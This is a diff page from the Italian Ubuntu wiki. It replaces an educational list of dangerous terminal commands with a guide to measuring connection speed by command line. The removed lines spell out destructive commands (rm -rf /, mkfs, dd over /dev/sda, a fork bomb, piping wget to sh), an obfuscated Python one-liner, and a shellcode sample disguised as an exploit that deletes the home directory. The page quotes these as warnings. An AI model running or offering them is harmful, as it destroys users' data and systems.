Wiki Ubuntu-it

Indice
Partecipa
FAQ
Wiki Blog
------------------
Ubuntu-it.org
Forum
Chiedi
Chat
Cerca
Planet
  • Pagina non alterabile
  • Informazioni
  • Allegati
  • Differenze per "andreas-xavier/prova7"
Differenze tra le versioni 5 e 73 (in 68 versioni)
Versione 5 del 06/04/2017 11.41.10
Dimensione: 7660
Commento:
Versione 73 del 17/07/2024 10.09.07
Dimensione: 5646
Commento:
Le cancellazioni sono segnalate in questo modo. Le aggiunte sono segnalate in questo modo.
Linea 1: Linea 1:
## page was renamed from ComandiDannosi
Linea 5: Linea 4:
<<Indice(width=2)>>
<<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>>
<<Include(NuoviStrumentiWiki/PaginaDiProva)>>
<<Indice>>
<<Informazioni(forum="https://forum.ubuntu-it.org/viewtopic.php?fxxxxxxxxxxxxxxx"; rilasci="24.04 22.04 20.04")>>
Linea 10: Linea 10:
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi. Lo speedtest (test della velocità) è uno degli strumenti più utili e comuni per controllare il funzionamento della propria connessione Internet. Infatti la ridotta velocità può essere un sintomo di problemi di varia natura (disservizi dell'[[https://it.wikipedia.org/wiki/Internet_service_provider|ISP]], malfunzionamenti del modem/router, problemi dell'hardware di rete ecc.).<<BR>>
Il test consiste in un semplice trasferimento di pacchetti di dati da un determinato server al client (il proprio dispositivo), così da misurare la velocità di download e di upload, fornendo anche i tempi di [[https://it.wikipedia.org/wiki/Latenza|latenza]] dei [[https://it.wikipedia.org/wiki/Ping|ping]].
Linea 12: Linea 13:
Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host''). Di seguito sono illustrati alcuni metodi per eseguire il test della velocità tramite [[AmministrazioneSistema/Terminale|riga di comando]], in alternativa a vari servizi di speedtest disponibili su Internet. La guida, non esaustiva, può risultare utile in alcuni casi (per sistemi server e/o senza [[AmbienteGrafico|ambiente grafico]], per compilazione di [[Programmazione/Script|script]], qualora non sia possibile utilizzare un browser, ecc.).
Linea 14: Linea 15:
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || = Consigli generali =
Linea 16: Linea 17:
||<tablestyle="text-align: justify; width:600%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' || Per ottenere risultati più attendibili si consiglia di:
 * se possibile, collegare il proprio computer tramite cavo e di non utilizzare la rete !WiFi;
 * se possibile, disconnettere eventuali altri dispositivi connessi alla stessa rete;
 * arrestare eventuali altri programmi che facciano uso della connessione di rete (browser web, client email, download manager, aggiornamento del sistema ecc.)
 * se necessario, consultare la documentazione e/o il contratto con il proprio ISP, al fine di conoscere la velocità massima disponibile dalla propria connessione.
Linea 18: Linea 23:
= Comandi da terminale = = speedtest-cli =
Linea 20: Linea 25:
<<Anchor(rm)>>
== Rimozione: rm ==
È un tool scritto in [[Programmazione/Python|Python]] che utilizza il servizio [[https://www.speedtest.net/|Speedtest di Ookla]] tramite riga di comando, senza l'uso di alcun browser.
Linea 23: Linea 27:
 * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{
rm -rf /
rm -rf .
rm -rf *
== Installazione ==

[[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://speedtest-cli | speedtest-cli]].


== Utilizzo ==

Digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando:{{{
speedtest-cli
Linea 29: Linea 38:
 * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{
rm -r .*
}}}
 potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.

 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
rm -r .[^.]*
L'output sarà simile al seguente:{{{
Retrieving speedtest.net configuration...
Testing from Fastweb (131.99.27.12)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Arcolink TLC (Florence) [27.32 km]: 23.58 ms
Testing download speed................................................................................
Download: 230.44 Mbit/s
Testing upload speed......................................................................................................
Upload: 96.46 Mbit/s
Linea 38: Linea 50:
<<Anchor(mkfs)>>
== Formattazione: mkfs ==

Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]].

Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`).

{{{
mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1
Per ottenere un output più sintetico, digitare:{{{
speedtest --simple
Linea 51: Linea 54:
<<Anchor(dd)>>
== Copia di blocchi di dati: dd ==

Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]).

Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
 * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.

<<Anchor(fork)>>
== Utilizzo sconsiderato di fork() ==

L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.

Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{
:(){:|&};:
}}}
oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{
fork while fork
L'output sarà simile al seguente:{{{
Ping: 7.052 ms
Download: 250.28 Mbit/s
Upload: 98.41 Mbit/s
Linea 73: Linea 60:
<<Anchor(script)>>
== Esecuzione script ==

L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.

Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
wget http://sito_internet/prova.sh
sh ./prova.sh
}}} {{{
wget http://sito_internet/prova.sh -O- | sh
Un elenco di ulteriori opzioni è disponibile con il comando:{{{
speedtest-cli -h
Linea 85: Linea 64:
<<Anchor(sorgente)>>
= Compilazione codice sorgente =
= CBM =
Linea 88: Linea 66:
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). '''CMB''' ('''Color Bandwidth Meter''') è un tool in grado dimostrare l'attività e le proprietà della rete.
Linea 90: Linea 68:
Un esempio di codice pericoloso è il seguente: {{{
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
== Installazione ==

[[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://cbm | cbm]].

== Utilizzo ==

Digitare nel [[AmministrazioneSistema/Terminale|terminale]] :{{{
cbm
Linea 104: Linea 78:
Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
rm -rf ~ / &
Comparirà una tabella in cui sono elencate le interfacce di rete ed i loro indirizzi locali, nonché la velocità in tempo reale dei dati inviati e ricevuti. Per passare da un dispositivo all'altro basta muoversi con i tasti direzionali.

= iftop =

'''iftop''' permette di visualizzare la velocità di rete selezionando un determinato dispositivo.

== Installazione ==

[[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://iftop | iftop]].

== Utilizzo ==

 0. Digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando per identificare i dispositivi di rete presenti:{{{
ip a
Linea 107: Linea 93:
che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.
Linea 109: Linea 94:
= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato nel [[AmministrazioneSistema/FormatiDiCompressione#tar|paragrafo dedicato ai file `.tar`]].
 0. Digitare nel terminale: {{{
sudo iftop -i [interfaccia]
}}}
 indicando il nome dell'interfaccia di rete, come nel seguente esempio:{{{
sudo iftop -i enp0s3
}}}
Linea 112: Linea 101:
= Altri esempi =
L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
L'output mostrerà l'attività del dispositivo, mentre nella parte inferiore comparirà l'attività generale, compresa la velocità.

= wget =

'''wget''' è un semplice gestore di download a riga di comando. Può essere utilizzato per mostrare la velocità di scaricamento.

Per l'utilizzo basta scaricare un qualsiasi file in una directory a piacere, utilizzando l'opzione `--show-progress`. Di seguito un esempio che scarica l'immagine netboot di Ubuntu 24.04 nel dispositivo virtuale [[https://it.wikipedia.org/wiki//dev/null|/dev/null]]:{{{
wget -O /dev/null -q --show-progress https://releases.ubuntu.com/24.04/ubuntu-24.04-netboot-amd64.tar.gz
Linea 116: Linea 110:
Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]].
Linea 118: Linea 111:
<<Anchor(risorse)>> L'output sarà simile al seguente:{{{
/dev/null 100%[=======================================================================>] 80,91M 22,5MB/s in 4,5s}}}

{{{#!wiki note
Si consiglia ovviamente di scaricare file di medie dimensioni.
}}}
Linea 120: Linea 119:
 * [[AmministrazioneSistema/Terminale|Terminale]]
 * [[AmministrazioneSistema/ComandiBase|Comandi di base]]
 * [[AmministrazioneSistema/Filesystem|Filesystem]]
 * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
 * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]]
Linea 126: Linea 120:
 * [[https://www.speedtest.net/apps/cli|speedtest-cli]] (pagina ufficiale)
 * [[https://github.com/sivel/speedtest-cli|speedtest-cli (GitHub)]]
 * [[https://misurainternet.it/|SpeedTest Agcom]]
Linea 127: Linea 125:
CategoryAmministrazione ##CategoryInternet
CategoryHomepage


Attenzione! Questa è una Pagina di prova. Le informazioni riportate potrebbero essere incomplete, errate e potenzialmente pericolose. Per contribuire alla realizzazione di questa pagina consultare la discussione di riferimento.

Guida verificata con Ubuntu: 20.04 22.04 24.04

Problemi in questa pagina? Segnalali in questa discussione

Introduzione

Lo speedtest (test della velocità) è uno degli strumenti più utili e comuni per controllare il funzionamento della propria connessione Internet. Infatti la ridotta velocità può essere un sintomo di problemi di varia natura (disservizi dell'ISP, malfunzionamenti del modem/router, problemi dell'hardware di rete ecc.).
Il test consiste in un semplice trasferimento di pacchetti di dati da un determinato server al client (il proprio dispositivo), così da misurare la velocità di download e di upload, fornendo anche i tempi di latenza dei ping.

Di seguito sono illustrati alcuni metodi per eseguire il test della velocità tramite riga di comando, in alternativa a vari servizi di speedtest disponibili su Internet. La guida, non esaustiva, può risultare utile in alcuni casi (per sistemi server e/o senza ambiente grafico, per compilazione di script, qualora non sia possibile utilizzare un browser, ecc.).

Consigli generali

Per ottenere risultati più attendibili si consiglia di:

  • se possibile, collegare il proprio computer tramite cavo e di non utilizzare la rete WiFi;

  • se possibile, disconnettere eventuali altri dispositivi connessi alla stessa rete;
  • arrestare eventuali altri programmi che facciano uso della connessione di rete (browser web, client email, download manager, aggiornamento del sistema ecc.)
  • se necessario, consultare la documentazione e/o il contratto con il proprio ISP, al fine di conoscere la velocità massima disponibile dalla propria connessione.

speedtest-cli

È un tool scritto in Python che utilizza il servizio Speedtest di Ookla tramite riga di comando, senza l'uso di alcun browser.

Installazione

Installare il pacchetto speedtest-cli.

Utilizzo

Digitare nel terminale il seguente comando:

speedtest-cli

L'output sarà simile al seguente:

Retrieving speedtest.net configuration...
Testing from Fastweb (131.99.27.12)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Arcolink TLC (Florence) [27.32 km]: 23.58 ms
Testing download speed................................................................................
Download: 230.44 Mbit/s
Testing upload speed......................................................................................................
Upload: 96.46 Mbit/s

Per ottenere un output più sintetico, digitare:

speedtest --simple

L'output sarà simile al seguente:

Ping: 7.052 ms
Download: 250.28 Mbit/s
Upload: 98.41 Mbit/s

Un elenco di ulteriori opzioni è disponibile con il comando:

speedtest-cli -h

CBM

CMB (Color Bandwidth Meter) è un tool in grado dimostrare l'attività e le proprietà della rete.

Installazione

Installare il pacchetto cbm.

Utilizzo

Digitare nel terminale :

cbm

Comparirà una tabella in cui sono elencate le interfacce di rete ed i loro indirizzi locali, nonché la velocità in tempo reale dei dati inviati e ricevuti. Per passare da un dispositivo all'altro basta muoversi con i tasti direzionali.

iftop

iftop permette di visualizzare la velocità di rete selezionando un determinato dispositivo.

Installazione

Installare il pacchetto iftop.

Utilizzo

  1. Digitare nel terminale il seguente comando per identificare i dispositivi di rete presenti:

    ip a
  2. Digitare nel terminale:

    sudo iftop -i [interfaccia]

    indicando il nome dell'interfaccia di rete, come nel seguente esempio:

    sudo iftop -i enp0s3

L'output mostrerà l'attività del dispositivo, mentre nella parte inferiore comparirà l'attività generale, compresa la velocità.

wget

wget è un semplice gestore di download a riga di comando. Può essere utilizzato per mostrare la velocità di scaricamento.

Per l'utilizzo basta scaricare un qualsiasi file in una directory a piacere, utilizzando l'opzione --show-progress. Di seguito un esempio che scarica l'immagine netboot di Ubuntu 24.04 nel dispositivo virtuale /dev/null:

wget -O /dev/null -q --show-progress https://releases.ubuntu.com/24.04/ubuntu-24.04-netboot-amd64.tar.gz

L'output sarà simile al seguente:

/dev/null                             100%[=======================================================================>]  80,91M  22,5MB/s    in 4,5s

Si consiglia ovviamente di scaricare file di medie dimensioni.

Ulteriori risorse


CategoryHomepage